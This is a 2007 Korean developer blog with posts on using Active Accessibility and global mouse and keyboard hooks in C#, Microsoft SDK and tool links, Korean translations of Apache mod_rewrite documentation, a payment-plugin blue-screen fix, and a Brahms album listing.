6-2. 6-1에서 소개한 사이트에서는 Active Accessibility를 사용하기에 있어서 MSDN 매거진에 기재된 Dmitri Klementiev의 글을 읽어보라고 한다.(http://msdn.microsoft.com/msdnmag/issues/0400/aaccess/default.aspx) 길어서 우선 생략한다.



7. HOW TO: Write a Simple Active Accessibility Client by Using Visual Basic
(http://support.microsoft.com/kb/315519)
4번 사이트 보면 볼것 없다.

8. Active Accessibility Explorer
(http://www.autohotkey.com/forum/topic21808.html)
한번 읽어보기엔 좋을것 같다.


9. How to get IHTMLDocument2 from a HWND
(http://support.microsoft.com/kb/q249232/)
이거 c#으로 구현했었는데 어떻게 했는지 기억이 안난다-_- 이 게시물은 c/c++ 기반이다.


Visual Studio Accessibility
http://blogs.msdn.com/vsaccessibility/pages/232135.aspx



Introduction to Microsoft Active Accessibility
(http://www.codeproject.com/cpp/msaa_intro.asp)
상세하게 적어놓았다. 하지만 너무 길어서 오늘은 생략... 꼭 봐야 할 게시물이다.ㅎㅎ

2007년 9월 9일 일요일

.NET Framework SDKs

Microsoft® Windows® Software Development Kit (SDK) for Windows Server® 2008 and .NET Framework 3.5
바로가기 : http://www.microsoft.com/downloads/details.aspx?FamilyID=74dd6e2d-89c6-4e1e-af00-fc7d70f15439&DisplayLang=en

Windows SDK .NET Framework 3.0 Samples
바로가기 : http://www.microsoft.com/downloads/details.aspx?FamilyID=22b58b6c-8f98-40d0-880d-c3339c5da01e&DisplayLang=en

.NET Framework 2.0 Software Development Kit (SDK) (x86)
바로가기 : http://www.microsoft.com/downloads/details.aspx?FamilyID=fe6f2099-b7b4-4f47-a244-c96d69c35dec&DisplayLang=en

Microsoft .NET Framework SDK version 2.0 Samples Download
바로가기 : http://www.microsoft.com/downloads/details.aspx?FamilyID=adef80f9-1e44-4b94-be24-dff48f826ce6&DisplayLang=en

.NET Framework SDK Version 1.1
바로가기 : http://www.microsoft.com/downloads/details.aspx?FamilyID=9b3a2ca6-3647-4070-9f41-a333c6b9181d&DisplayLang=en

Microsoft Active Accessibility SDK documentation

Microsoft Active Accessibility SDK documentation
다운로드 : http://www.microsoft.com/downloads/details.aspx?FamilyID=8bc82e65-dbeb-4bc4-9f27-8ac7df6b7b77&DisplayLang=en

분량이 참 많다(총 232 페이지). 워드 파일 형식이며, 영어로 되어있다,

How Active Accessibility Works, Active Accessibility Basics등 Accessibility를 이용하는데에 있어 많은 도움이 될 것 같다. 우선 이만.

(다음에 블로그 정리좀 해야할 것 같다.-_-)

2007년 9월 8일 토요일

마소의 Internet Explorer Developer Toolbar

마소 다운로드 사이트를 조금 더 뒤져봤다.




그러다 발견한게 Internet Explorer Developer Toolbar(http://www.microsoft.com/downloads/details.aspx?FamilyID=e59c3964-672d-4511-bb3e-2d5e1db91038&DisplayLang=en) 예전에 익스프로러 내의 객체 알아보는거, 이렇게 할 수 없냐고 게시물을 올린적이 있었는데, 이렇게 이 프로그램을 만나서 반갑다(?)





(이렇게 말이다. 개체에 마우스를 가져대면 테두리가 생기면서 현재 개체의 정보가 뜬다. 정보는 DOM 기반이겠지, 뭐 핸들 기반일리가..)


소개 페이지에 따르면 이 프로그램은
  • 웹페이지의 DOM 객체를 탐색하고, 수정할 수 있다.
  • 다양한 기법들을 통해 웹페이지의 특정 엘리먼트의 위치정보를 알아낼 수 있고, 선택할 수도 있다
  • 인터넷 익스프로러의 셋팅을 선택적으로 사용불가상태로 만들 수 있다.
  • HTML의 오브젝트 클래스네임, ID와, 링크 주소, 탭 인덱스 값, 그리고 엑세스 키같은 자세한 정보를 얻을 수 있다.
  • 테이블, 사진, 혹은 선택된 태그에 윤곽을 그려준다.
  • HTML, CSS, WAI 그리고 RSS 피드링크를 검증한다.
  • 이미지의 차원, 파일사이즈, 경로, 그리고 ALT 텍스트를 보여준다.
  • 브라우저를 지정된 해상도로 즉시 리사이즈해준다.
  • 선택적으로 브라우저의 캐시와 쿠키들을 비워준다. 모든 오브젝트를 비우거나, 사용자가 입력한 도메인에 관련된 오브젝트들을 비울 수 있다
  • 격자를 사용하여 페이지의 오브젝트를 배치하고, 정렬하는데 도움을 준다.
  • 특정 엘리먼트에 대한 스타일값을 찾아낸다.
  • HTML과 CSS에 대한 색깔로 강조된 소스를 보여준다.

등의 기능을 보여주고 있다. 이 프로그램도 많이 유용하게 쓰인다.(특히 마우스 오른쪽을 금지시켰을때 이걸 틀면 소스다운로드 할 필요없이 바로 엘리먼트값을 볼 수 있다)

마소의 패킷캡쳐 프로그램 Network Monitor 3.1

평소에는 wireshark(http://www.wireshark.org/) 프로그램을 잘 쓰는 편이었다.


(기본 인터페이스, 지금 무선랜으로 패킷캡쳐중이지만 하나도 잡히지 않는다.-_-)


하지만 약간 버벅이는 증상과(요즘 업데이트 되면서 많이 향상되었지만.) 무선랜카드 패킷이 검색이 안되는 증상때문에 노트북에서 작업할 때는 잘 사용하지 않았다.(노트북으로 작업할때는 무선랜으로 하니까)









이번에 download.microsoft.com 에서 헤매이다가 발견한것이 바로 Microsoft Network Monitor 3.1(http://www.microsoft.com/downloads/details.aspx?FamilyID=18b1d59d-f4d8-4213-8d17-2f6dde7d7aac&DisplayLang=en)





이 프로그램은 가벼웠고, 무선랜까지 지원을 해줬다. 물론 wireshark에 익숙해져서인지 인터페이스 적응이 힘들었지만, 좋은 기능들을 많이 가지고 있었다.




(무선랜으로 패킷캡쳐중, 인터페이스가 약간 복잡하지만, 잘잡히니 그만이다)




더 좋은것은, 파싱기능을 사용자가 직접 편집할 수 있다는것, 이것을 한글화 하면 보기도 좋고 이해하기도 쉬울 거 같다.(대신 엄청난 노가다가 필요하겠지만.)
당장에 HTTP 프로토콜 파싱하는것만 한글로 고쳐도 많이 유용할 것 같다.


(HTTP 프로토콜 파싱기능을 사용자가 정의할 수 있다. 근데 "404. Not Found" 에러를 "404. 파일 없음"으로 바꾸면 더 헷갈릴 것 같다.-_-)


앞으로 잘 쓰일 것 같다. 나중에 노하우가 생기면 올려야지.;)

현재의 최고의 관심사.IAccessible

oleacc.dll ... IAccessible 길고 긴 발자취..





지금 마우스 후킹 구현해서 마우스 아래에 있는 개체를 AccessibleObjectFromPoint로 불러오는것 까진 했다.





나중에 본건데. thescripts에서의 Capturing text in Windows UI controls with C# 라는 게시물(http://www.thescripts.com/forum/thread246382.html)에서 자문자답으로 답을 구하고 있었다. 진작에 이거 봤으면 조금 빨리 진행되었을텐데..










아무튼 마우스 후킹 관련해서는 코드프로젝트의 Processing Global Mouse and Keyboard Hooks in C#라는 게시물(http://www.codeproject.com/csharp/globalhook.asp )이,


AccessibleObjectFromPoint에 관연해서는 pinvoke.net의 WindowFromAccessibleObject (oleacc)이라는 게시물(http://www.pinvoke.net/default.aspx/oleacc/AccessibleObjectFromPoint%20.html)이 도움이 많이 되었다. 예제 소스가 바로 쓸 수 있도록 만들어져있어서 삽질하는 일을 줄여주었다.











아무튼 금방 짜집기로 만들긴 했는데 문제는 인터넷 익스프로러 내에 있는 개체들은 인식이 안된다는거. 익스프로러의 메뉴인 파일, 편집, 보기. 같은건 인식이 되는데 html문서의 개체들은 인식이 안된다. 이게 안되면 다 필요 없는데.





소스포지에서 Managed Windows API라는 녀석(http://sourceforge.net/projects/mwinapi/)을 발견하고 이녀석은 뭔가 다르겠지 하고 로드해봤지만 에러만 나타낸다. 데모 버전과 소스버전에서 .net 예외라고 나오고 종료-_-
(대신 나중에 꼭 써먹힐 것 같은 라이브러리였다. 클립보드, 마우스 등을 관리하였다. )




에러가 뭐냐면, 이상하게 개체를 인식하려고 하면 "-2147417843"이라면서 MSDN의 Problem about "AccessibleObjectFromPoint()" function in MSAA with C# 에 나와있는것처럼 (http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1606682&SiteID=1)
오류가 뜨는것이다. 그에 대한 답을 제시해놓은 게시물을 찾을수가 없었다,-_-














그러다가 MSDN의 How can I use AccessibleObjectFromPoint() with C#(MSAA) 라는 게시물에서(http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1625245&SiteID=1) Accexplorer 라는 놈이 있다는것을 발견하고 이것에 대해 또 알아보게 되었다

이 프로그램은 Active Accessibility 2.0 SDK Tools(http://www.microsoft.com/downloads/details.aspx?familyid=3755582A-A707-460A-BF21-1373316E13F0&displaylang=en ) 내에 있었고, 받을 수 있었다. 다른 프로그램도 같이 있었지만, 관심&시간관계상 이 프로그램만 실행해 보기로 했다,









이 스샷이 내가 원하는 바다. 웹페이지 상의 그림을 선택 할 수 있는것
저쪽 왼쪽 리스트의 그림이 선택되어 있는게 보인다.






그리고 또 발견한것이 MSDN에서 Drilling down into Internet Explorer 라는 게시물(http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1376534&SiteID=1). 역시 AccessibleObjectFromPoint 로 브라우저 내용에 접근했을 떄 HTML 요소가 아닌 internetexplorer_server 라고 뜨는데에 의문을 제기한것이다.

여기에선 또 UI SPY라는 프로그램이 언급이 되었고 다시한번 찾아보게 되었다.(http://msdn2.microsoft.com/en-us/library/ms727247.aspx)

근데 이것을 다운받으려니 다운 주소가 안나와있는것. 이것은 .NET Framework 3.0 beta/RC release에 들어있다고 MSDN의 Download UI Spy (UISpy.exe) 라는 게시물(http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=743940&SiteID=1)에서 알 수 있었다,

나는 그냥 Microsoft .NET Framework 3.5 베타 2를 받아버렸다. 근데 152MB라니...(http://www.microsoft.com/downloads/details.aspx?displaylang=ko&FamilyID=d2f74873-c796-4e60-91c8-f0ef809b09ee)


리부팅 해야한다.-_-

2007년 9월 6일 목요일

마우스 오버 시 아래에 있는 개체 알아오기

지난 프로그래밍프로젝트중의 하나인 Sugang 2.0을 보완히기위한 자료입니다.

C# 기반으로 문서를 작성중에 있습니다.
이목록의 특징으로는.
1. oleacc.dll을 임포트(AccessibleObjectFromPoint)
2. 키보드, 마우스 후킹.


우선 참고할만한 사이트를 적어놓았습니다.
(계속 업데이트 됩니다)









================================
참고 리스트(조금 많네요.ㅎㅎ)

The scratch program
http://blogs.msdn.com/oldnewthing/archive/2003/07/23/54576.aspx

How to retrieve text under the cursor (mouse pointer)
http://blogs.msdn.com/oldnewthing/archive/2004/04/23/118893.aspx

Restore a Window to its Normal State or Minimize all open windows
www.thescarms.com/VBasic/ShowWindow.aspx

마우스 오버에 관한 질문 입니다. 고수님들 도와주세요 ^^*
http://www.devpia.com/MAEUL/Contents/Detail.aspx?BoardID=50&MAEULNo=20&no=650216&ref=650216

컨트롤 위에 있는 마우스의 위치를 받아오려면..
http://www.devpia.com/MAEUL/Contents/Detail.aspx?BoardID=50&MAEULNo=20&no=637099&ref=637099

버튼위에 마우스 오버시 커서(Cursor)를 바꾸는 방법???
http://www.devpia.com/MAEUL/Contents/Detail.aspx?BoardID=50&MAEULNo=20&no=636585&ref=636585

Capturing text in Windows UI controls with C#
http://www.thescripts.com/forum/thread246382.html

MouseOver on selected text not calculated for you
http://www.eggheadcafe.com/community/aspnet/2/13859/mouseover-on-selected-tex.aspx

Can I get word under mouse in any program in C# app?
http://channel9.msdn.com/ShowPost.aspx?PostID=155530

Drilling down into Internet Explorer
http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1376534&SiteID=1

WinAPI in C# problem
http://www.gotdotnet.ru/Forums/Common/285663.aspx

MSAA in C#
http://www.msnewsgroups.net/group/microsoft.public.dotnet.languages.csharp/topic17464.aspx

툴바에서 마우스가 위치한 곳의 버튼 좌표를 알수 없을까요 ?
Http://www.devpia.com/Maeul/Contents/Detail.aspx?BoardID=50&amp;amp;amp;amp;amp;amp;amp;MAEULNo=20&no=460552&ref=459960


Capturing text in Windows UI controls with C#
http://www.thescripts.com/forum/thread246382.html

RE: WinAPI in C# problem
http://www.gotdotnet.ru/Forums/Common/288641.aspx

How can I use AccessibleObjectFromPoint() with C#(MSAA)
http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1625245&SiteID=1

Problem about "AccessibleObjectFromPoint()" function in MSAA with C#
http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1606682&SiteID=1

Error when using IAccessible in C#
http://207.46.236.188/MSDN/ShowPost.aspx?PostID=993301&SiteID=1

AccessibleObjectFromPoint (oleacc)
http://www.pinvoke.net/default.aspx/oleacc/AccessibleObjectFromPoint%20.html

WindowFromAccessibleObject (oleacc)
http://www.pinvoke.net/default.aspx/oleacc/WindowFromAccessibleObject.html

oleacc
http://www.webtropy.com/articles/dll-api.aspx?dll=oleacc

Active Accessibility 2.0 SDK Tools
http://www.microsoft.com/downloads/details.aspx?familyid=3755582A-A707-460A-BF21-1373316E13F0&displaylang=en

MSAA in C#
http://www.thescripts.com/forum/thread454164.html

How to Build Accessible Windows Forms Applications with .NET
http://www.devx.com/dotnet/Article/21755/1954?pf=true

IAccessible
http://msdn2.microsoft.com/en-us/library/ms696165.aspx

IAccessible Methods and Properties
http://www.lw-tech.com/q1/iaccessible.htm

인터페이스 강좌 응용편 2. Active Accessiblity
http://mc4s.tomeii.com/tt/tag/IAccessible

Processing Global Mouse and Keyboard Hooks in C#
http://www.codeproject.com/csharp/globalhook.asp

Low-level Windows API hooks from C# to stop unwanted keystrokes
http://www.codeproject.com/cs/system/CSLLKeyboard.asp

API hooking revealed
http://www.codeproject.com/system/hooksys.asp

Global System Hooks in .NET
http://www.codeproject.com/csharp/globalsystemhook.asp

Using Window Messages to Implement Global System Hooks in C#
http://www.codeproject.com/cs/system/WilsonSystemGlobalHooks.asp

Using Hooks from C#
http://www.codeproject.com/csharp/netwin32hooks.asp

Hooking in Microsoft .NET
http://www.codeproject.com/dotnet/HookingInMicrosoftDotNET.asp

KeyBoard Hooks
http://www.codeproject.com/dll/keyboardhook.asp

APIHijack - A Library for easy DLL function hooking.
http://www.codeproject.com/dll/apihijack.asp

Mouse progress control
http://www.codeproject.com/miscctrl/mouseprogress.asp

Password SPY++
http://www.codeproject.com/dll/PasswordSPY.asp

Spying on computer usage via keyboard hooks
http://www.codeproject.com/tools/usagefinder.asp

Mousey! Roll Over and Park
http://www.codeproject.com/dll/ParkMouse.asp

An All-Purpose Keyboard Hooker
http://www.codeproject.com/system/KeyHook.asp

ControlInspector - monitor Windows Forms events as they are fired (like Spy++ for .net)
http://www.codeproject.com/csharp/controlinspector.asp

Automated IE SaveAs MHTML
http://www.codeproject.com/shell/iesaveas.asp

COM Interface Hooking and Its Application - Part I
http://www.codeproject.com/com/cominterfacehookingpart.asp

마우스 아래 텍스트 꺼내오기..
http://madchick.egloos.com/1015535

커서 아래에 있는 텍스트 정보 가져오기!
http://www.debuglab.com/board/board_detail.aspx?id=132&table=tip&pagenum=1

AccessibleObjectFromPoint
http://msdn2.microsoft.com/en-us/library/ms696163.aspx

[자유게시판] GUI 자동화 툴 관련 MS 동향?
http://www.sten.or.kr/bbs/board.php?bo_table=cb_AutoTool&wr_id=40&sca=%C0%DA%C0%AF%B0%D4%BD%C3%C6%C7

Accessible Explorer
http://msdn2.microsoft.com/en-us/library/ms696082.aspx

Create tree like (Spy++ or AccExplorer 2.0) using Active Accessibility
http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1463061&SiteID=1

2007년 9월 5일 수요일

[Apache]지시어를 설명하는데 사용한 용어들

설명 (Description)
지시어의 목적에 대한 간단한 설명.

문법 (Syntax)
설정파일에서 사용할 지시어의 형식을 알려준다. 이 문법은 지시어마다 매우 다르며, 지시어를 정의할 때마다 자세히 설명한다. 일반적으로 지시어 이름 뒤에 공백으로 구분한 아규먼트들이 나온다. 아규먼트가 공백을 포함한다면 아규먼트를 쌍따옴표로 묶어야 한다. 선택적인 아규먼트는 중괄호로 묶는다. 아규먼트가 여러 값중 하나일 경우 값들을 수직막대 ""로 구분한다. 문자그대로 사용할 부분은 기본 문자체로 쓰고, 대체할 아규먼트는 강조한다. 아규먼트 개수가 정해지지않은 지시어는 마지막 아규먼트가 반복됨을 나타내는 "..."으로 끝난다.
지시어는 매우 다양한 종류의 아규먼트를 받는다. 이중 자주 사용하는 것은 아래와 같다.

  • URL : http://www.example.com/path/to/file.html과 같이 스킴(scheme), 호스트명, 선택적인 경로명을 포함한 완전한 Uniform Resource Locator
  • URL-path : /path/to/file.html과 같이 url에서 스킴과 호스트명 뒤에 나오는 부분. url-path는 파일시스템에서 본 시점이 아닌 웹에서 본 시점에서의 자료를 나타낸다.
  • file-path : /usr/local/apache/htdocs/path/to/file.html과 같이 root 디렉토리로 시작하는 파일시스템상의 파일 경로. 따로 언급하지않으면, 슬래쉬로 시작하지않은 file-path는 ServerRoot에 상대경로로 취급한다.
  • directory-path : /usr/local/apache/htdocs/path/to/와 같이 root 디렉토리로 시작하는 파일시스템상의 디렉토리 경로.
  • filename : file.html과 같이 경로 정보가 없는 파일명.
  • regex : Perl 형식의 정규표현식(regular expression). 지시어는 regex로 무엇인가를 검색한다.
  • extension : 일반적으로 filename에서 마지막 마침표 뒤에 나오는 부분이다. 그러나 아파치는 여러 확장자를 인식할 수 있기때문에, filename에 마침표가 여러개 포함된 경우 마침표로 구분된 모든 부분을 확장자(extension)로 처리한다. 예를 들어, 파일명 file.html.en은 .html과 .en이라는 두가지 확장자를 가진다. 아파치 지시어에서 extension에 지정한 값 앞에 마침표가 있어도 되고 없어도 된다. 또, extension은 대소문자를 가리지않는다.
  • IME-type : text/html과 같이 슬래쉬로 major format type과 minor format type를 구분하여 파일의 형식을 설명하는 방식.
  • env-variable : 아파치 설정에서 정의한 환경변수 이름. 운영체제의 환경변수와 다름을 주의하라. 자세한 내용은 환경변수 문서를 참고하라.


기본값 (Default)
지시어에 기본값이 있다면 (예를 들어, 설정에서 지시어를 생략한 경우 아파치 웹서버는 이 값을 사용한다.) 이 항목에 나온다. 기본값이 없다면 이 항목은 "None"이어야 한다. 기본값이 서버에 포함된 기본 httpd.conf의 지시어 값과 다를 수 있음을 주의하라.


사용장소 (Context)
서버의 설정파일중 어느곳에서 지시어를 사용할 수 있는지 알려준다. 다음 값들을 쉼표로 구분한 목록이다:

  • 주서버설정 (server config) : 지시어를 서버 설정파일에서 (예를 들어, httpd.conf) 사용할 수 있으나, 에서 사용할 수 없음을 뜻한다. 이 지시어는 .htaccess 파일에서도 사용할 수 없다.
  • 가상호스트 (virtual host) : 지시어를 서버 설정파일의 안에서 사용할 수 있음을 뜻한다.
  • 디렉토리 (directory) : 지시어가 섹션 설정에 설명한 제약을 따르며, 서버 설정파일의 , , , 에서 사용할 수 있음을 뜻한다.
  • .htaccess : 지시어를 디렉토리별 .htaccess 파일에서 사용할 수 있음을 뜻한다. 이 지시어는 현재 사용하는 overrides 값에 따라 무시될 수 있다.

지시어는 지정된 장소에서만 사용할 수 있다. 다른 곳에서 사용하면 설정오류가 발생하고 서버는 부분에 대한 요청을 올바로 처리하지 못하거나 작동이, 예를 들어 시작조차도, 안될 수 있다.
지시어를 사용할 수 있는 장소는 열거한 장소를 모두 불린(boolean) OR한 결과이다. 즉, "server config, .htaccess"에서 가능하다는 지시어는 httpd.conf 파일과 .htaccess 파일에서는 사용할 수 있지만, 에서는 사용할 수 없다.


Override 옵션 (Override)
이 지시어를 .htaccess 파일에서 사용하려면 어떤 override 옵션을 사용해야 하는지를 나타낸다. 지시어의 사용장소가 지시어를 .htaccess 파일에서 사용할 수 없다고 한다면 어떤 사용장소도 나오지 않는다.
Overrides는 AllowOverride 지시어로 지시하고, (디렉토리 등의) 특정 범위와 하위 범위에서 다른 AllowOverride 지시어로 다른 값을 설정하지않았다면 하위 범위에도 그대로 적용된다. 지시어 설명에 사용가능한 override 이름들이 나온다.


상태 (Status)
지시어가 아파치 웹서버에 얼마나 긴밀히 묶여있는지를 나타낸다. 즉, 그 지시어나 기능을 사용하기위해 서버를 모듈과 같이 다시 컴파일할 필요가 있을 수도 있다. 가능한 값은 다음과 같다:

  • Core : 지시어가 "Core" 상태를 가지면, 지시어가 아파치 웹서버 핵심부분에 속하고 항상 사용가능함을 뜻한다.
  • MPM : "MPM" 상태인 지시어는 다중처리 모듈을 제공한다. 이런 지시어는 지시어 설명에서 모듈에 열거된 MPM중 하나를 사용할때만 가능하다.
  • Base : 기본적으로 서버와 같이 컴파일되므로 직접 구성에서 모듈을 제거하지 않았다면 일반적으로 사용가능한 표준 아파치 모듈이 제공하는 지시어는 "Base" 상태이다.
  • Extension : 아파치 서버 배포본에는 포함되있지만 보통 서버와 같이 컴파일되지않는 모듈이 제공하는 지시어는 "Extension" 상태이다. 이런 지시어를 사용하려면 서버 컴파일 구성파일을 수정하고 아파치를 다시 컴파일해야 한다.
  • Experimental : "Experimental"은 지시어가 아파치 배포본에 포함되있지만, 사용은 자신의 책임임을 나타낸다. 지시어는 문서화되있지만, 실제와 다를 수 있다. 지시어를 제공하는 모듈은 기본적으로 아파치와 같이 컴파일될 수도 안될 수도 있다. 지시어와 모듈을 설명하는 문서 앞에서 사용할 수 있는지 살펴봐라.

모듈 (Module)
단순히 지시어를 정의한 소스 모듈명을 열거한다.

지원 (Compatibility)
지시어가 원래 아파치 버전 2 배포본의 일부가 아니였다면, 지시어를 추가하기 시작한 버전이 여기 나온다. 또, 어떤 플래폼에서만 사용가능한 지시어도 여기 나온다.

===============================
아파치 문서를 번역하려고 하는데 사전적의미로는 통하지 않는게 여러개 있었다.
그래서 조금 찾아보니 이런 매뉴얼 페이지가 있었다.
기존에 있던 페이지는 이지윅 에디터에서는 편집이 제대로 이루어지지 않기 때문에(특히나 블로그 스팟 에디터에선.-_-) 조금 수정을 가하여 올려본다.
앞으로의 아파치 문서의 번역은 이 게시물을 토대로 해야겠다.

원문링크 : http://httpd.apache.org/docs/2.2/mod/directive-dict.html

[Apache]mod_rewrite 소개

아파치 모듈 - mod_rewrite

설명 : 요청된 URL을 규정에 따라 재작성 하는 엔진을 제공한다.
상태 : 확장가능(?)
모듈 구분명 : rewrite_module
소스 파일 : mod_rewrite.c
이용가능 버전 : 아파치 1.3 이상버전에서 사용가능

요약 : 이 모듈은 정규표현식에 기반을 두는 규정에 따라 요청된 URL을 재작성하는 엔진을 사용합니다. 이 모듈은 유연하고 강력한 URL처리를 위하여 무한정의 규정과 그 규정의 무한정의 하부 요소들을 지원합니다. URL 처리기는 서버변수, 환경변수, HTTP 헤더, 타임스탬프를 불러올 수 있습니다. 심지어 다양한 포맷으로 구성된 외부 데이터베이스 색인까지도 URL을 더욱 효과적으로 대조하기 위하여 사용될 수 있습니다.
이 모듈은 서버단위의 설정과(httpd.conf) 디렉토리 단위의 설정(.htaccess)을 기반으로 서버의 상대주소(적당한 표현이 기억이 안나네요?)를 포함한 전체 URL을 조작합니다(또한 쿼리부분까지 만들 수 있습니다). 이 재작성된 결과는 내부적인 서브프로세싱을 하거나, 외부적인 리퀘스트 리디렉션을 하도록, 혹은 내부 프록시에 다다를 수 있게 합니다.



특수문자 인용하기
아파치 1.3.20버젼부터, 입력되는 문자열과 치환될 문자열내의 특수문자들은 앞에 슬래시('\') 문자를 붙임으로서 이스케이프(평소 쓰이던 특수한 의미대신 일반적인 '기호'의 의미로 쓰이는것) 될 수 있습니다. 예를들자면, 달러문자를($) 치환될 문자열 내에서 '\$'라고 씀으로서 일반적인 기호로서 사용할 수 있습니다. 이것은 mod_rewrite가 달러문자를 "문장의 맨 끝"으로 인식하지 않고, 일반적인 달러 표기로 인식하게 해줍니다.


환경변수들
mod_rewrite 모듈은 끊임없이 SCRIPT_URL과 SCRIPT_URI라는 (표준이 아닌)두개의 CGI/SSI의 환경변수를 불러옵니다. 이 변수들은 논리적인 웹상에서의 현재 리소스의 경로를 나타냅니다.(반면에, SCRIPT_NAME 과 SCRIPT_FILENAME라는 (표준인)두개의 CGI/SSI의 환경변수는 실제적인 시스템상에서의 리소스의 경로를 나타냅니다)

알아두기 : 원래, '재작성'이라는 과정은 논리적인 URL을 실제적인 시스템상에서의 리소스의 경로로 교환하는 과정을 의미합니다.

예제 :
SCRIPT_NAME=/sw/lib/w3s/tree/global/u/rse/.www/index.html
SCRIPT_FILENAME=/u/rse/.www/index.html
SCRIPT_URL=/u/rse/
SCRIPT_URI=http://en1.engelschall.com/u/rse/







원문 : http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html


==================
아파치의 mod_rewrite에 대해서 자세하게 알고 싶어서 이제부터 조금씩 번역을 시작할 계획입니다.(제발 중간에 그만두는 일은 없어야 하는데..)

2007년 9월 4일 화요일

INIPAY Plugin의 치명적 오류(블루스크린) 해결방법

예전에 INIPAY Plugin에서의 특정 입력폼에 포커스가 입력되면 블루스크린이 뜨고, 추가 키보드가 먹질 않는 증상이 있었던 적이 있었다.

바로가기 : http://frontjang.blogspot.com/2007/08/inipay-plugin.html



이 게시물을 쓰고나서 이니시스사에 문의 메일을 바로 보냈더니 그 바로 다음날에 답장이 왔었다.

===========원문============

안녕하세요 이니시스 입니다.
보내주신 오류는 키보드 보안 모듈에서 나는 오류입니다.
현재 이니시스는 소프트캠프에서 제공되는 키보드 보안 프로그램을 사용 중입니다.
이 키보드 보안 모듈을 신한 카드 및 몇몇 은행 및 카드사에서 사용하는 프로그램입니다.
보내주신 오류로 보아서는 이 키보드 보안 프로그램이 다른 키보드 보안 프로그램과
충돌이 나서 문제가 생기는 것으로 보여집니다.
일단 결제를 하기 위해서는 키보드 보안 옵션을 정지하고
결제를 진행하실 수 있습니다.
방법은 현재 바탕화면의 가장 오른쪽 아래에 트레이에 해당 아이콘이 표시됩니다.
(노란색 파란색으로 된 리본 모양)
트레이에 있는 그 아이콘에서 마우스 오른쪽 버튼을 클릭하시면 메뉴가 보여집니다.
메뉴에서 ‘키보드 보안 설정’을 클릭하시면 설정 창이 표시됩니다.
아래 그림과 같은 창이 뜨면 아래와 같이 설정하시고 ‘확인’버튼을 클릭합니다.
그 후 Internet Explorer을 다시 띄우신 후 결제를 진행하시면 됩니다.


=============================
위에 나온 방법을 해도 여전히 오류가 나긴 마찬가지였다.
또 이니시스 플러그인을 제거하려고 프로그램 추가/제거에 들어갔지만 이 플러그인목록은 없어서. '아 별수없구나' 하고 노트북 키보드로 키입력을 하고 있었다.

하지만 나중에 메일을 다시 체크해보니 소프트 캠프에서 키보드 보안 솔루션을 제공해 준다는 내용이었다. 다시 한번 프로그램 추가/제거에 들어가서 봤더니 소프트캠프~~ 하는 항목이 있었다. 이 프로그램을 제거하고 재시작 했더니 키보드가 다시 동작했다.

괜히 애꿎은 이니시스사에 열받아 있었다.-_-;;

RewriteEngine에서의 재귀적 호출 문제 해결방법

질문 올렸던 아파치 rewriteEngine에서의 재귀적 호출 문제.
바로가기 : http://frontjang.blogspot.com/2007/08/question-about-setting-apache.html



우연히도 솔루션을 찾게 되었다.
예전까지는 "apache rewriteEngine" 를 키워드로 쳤었는데 오랜만에 찾느라 "htaccess mod_rewrite" 라고 키워드를 바꿔서 친것.


여기서 찾을 수 있었다. 정말 감동감동..(이미 포기하고 있던 상태였다..;;)
자세한 내용은 아래 링크에서 확인할 수 있다.
바로가기 : http://spbear.com/tag/%EC%84%9C%EB%B8%8C%EB%8F%84%EB%A9%94%EC%9D%B8



=======인용===========

아래의 예제는 자신의 홈 디렉토리의 .htaccess파일로 http://test.spbear.com/을 자신의 홈 디렉토리의 /test 디렉토리와 매핑하는 것을 예제로 삼았습니다.
RewriteEngine On
RewriteBase /
RewriteCond $1 !^(test)/
RewriteCond %{HTTP_HOST} ^test\.spbear\.com [NC]
RewriteRule ^(.*)$ /test/$1 [L]

==============

Classical Music Spotlight - Four Handed Brahms



8.557429 BRAHMS: Symphony No. 2 / Hungarian Dances

BRAHMS, JOHANNES
Symphony No. 2 in D major, Op. 73
01. I. Allegro non troppo 20:05
02. II. Adagio non troppo 09:46
03. III. Allegretto grazioso, quasi andantino 05:14
04. IV. Allegro con spirito 09:46

Hungarian Dances, WoO 1 (arr. for orchestra)
05. Hungarian Dance No. 1 in G minor (orch. J. Brahms) 03:24
06. Hungarian Dance No. 3 in F major (orch. J. Brahms) 02:46
07. Hungarian Dance No. 10 in F major (orch. J. Brahms) 01:52
08. Hungarian Dance No. 17 in F sharp minor (orch. A. Dvorak) 03:37
09. Hungarian Dance No. 18 in D major (orch. A. Dvorak) 01:31
10. Hungarian Dance No. 19 in B minor (orch. A. Dvorak) 02:38
11. Hungarian Dance No. 20 in E minor (orch. A. Dvorak) 02:44
12. Hungarian Dance No. 21 in E minor (orch. A. Dvorak) 01:42




London Philharmonic Orchestra
Marin Alsop, Conductor






지휘 : Marin Alsop
앨범 : BRAHMS: Symphony No. 2 / Hungarian Dances
트랙 : 04. IV. Allegro con spirito 09:46



바로가기 : http://www.amazon.com/Brahms-Symphony-No-Hungarian-Dances/dp/B000B6N67W








8.554822 BRAHMS: Four-Hand Piano Music, Vol. 7


BRAHMS, JOHANNES
Symphony No. 2 in D major, Op. 73 (arr. piano 4-hands)
01. I. Allegro non troppo 18:15
02. II. Allegro non troppo 10:17
03. III. Allegretto grazioso quasi andantino - Presto ma non assai 05:09
04. IV. Allegro con spirito 08:58

Symphony No. 3 in F major, Op. 90 (arr. 2 pianos)
05. I. Allegro con brio 13:00
06. II. Andante 08:50
07. III. Un poco allegretto 06:05
08. IV. Allegro 08:11



Christian Kohn, piano / Silke-Thora Matthies, piano





연주 : Christian Kohn, Silke-Thora Matthies
앨범 : BRAHMS: Four-Hand Piano Music, Vol. 7
트랙 : 04. IV. Allegro con spirito 08:58


바로가기 : http://www.amazon.com/Four-Hand-Piano-Music-7/dp/B00006669W









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자기네들 음반 소개하는 낙소스의 Classical Music Spotlight. 음악샘플을 설명과 함께 듣는다고 하는 표현이 적당할지도 모르겠는데.

포드캐스트에서 무료로 방송을 해서 처음에는 그냥 영어공부 & 음악감상을 목표로 들었는데 몰랐던 부분에 대해서 설명을 듣고 감상을 할 수 있어서 애청자가 되었다.

